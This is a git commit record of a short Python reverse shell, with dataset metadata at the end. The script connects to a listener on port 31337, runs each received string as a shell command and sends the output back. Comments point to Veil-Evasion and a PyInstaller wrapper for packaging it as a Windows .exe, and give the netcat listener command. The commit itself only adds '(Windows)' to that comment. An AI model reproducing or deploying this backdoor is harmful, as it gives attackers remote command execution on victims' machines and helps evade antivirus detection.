<commit_before>import socket
import subprocess

sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockobj.connect(("127.0.0.1", 31337))

while 1:
    data = sockobj.recv(4096)  # returns a bytes object
    # print(data)
    # print(type(data))
    # print(str(data))
    # print(data.decode())
    # print(isinstance(str(data), str))

    # don't forget to decode the bytes to str
    proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
                            stderr=subprocess.PIPE)
    result = proc.stdout.read()
    # print("Command result:")
    # print(result)
    sockobj.send(result)

    # Veil-Evasion make .py to .exe
    # auxilary/pyinstaller-wrapper
    # connect to nc
    #   nc -L -p 31337 -v<commit_msg>clarified netcat command<commit_after>import socket
import subprocess

sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockobj.connect(("127.0.0.1", 31337))

while 1:
    data = sockobj.recv(4096)  # returns a bytes object
    # print(data)
    # print(type(data))
    # print(str(data))
    # print(data.decode())
    # print(isinstance(str(data), str))

    # don't forget to decode the bytes to str
    proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
                            stderr=subprocess.PIPE)
    result = proc.stdout.read()
    # print("Command result:")
    # print(result)
    sockobj.send(result)

    # Veil-Evasion make .py to .exe
    # auxilary/pyinstaller-wrapper
    # connect to nc (Windows)
    #   nc -L -p 31337 -v
{'fraction_non_alphanumeric': 0.13123028391167194, 'fraction_numerical': 0.026498422712933754, 'mean_word_length': 2.9849246231155777, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 2, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '1473718', 'n_tokens_mistral': 579, 'n_tokens_neox': 536, 'n_words': 116}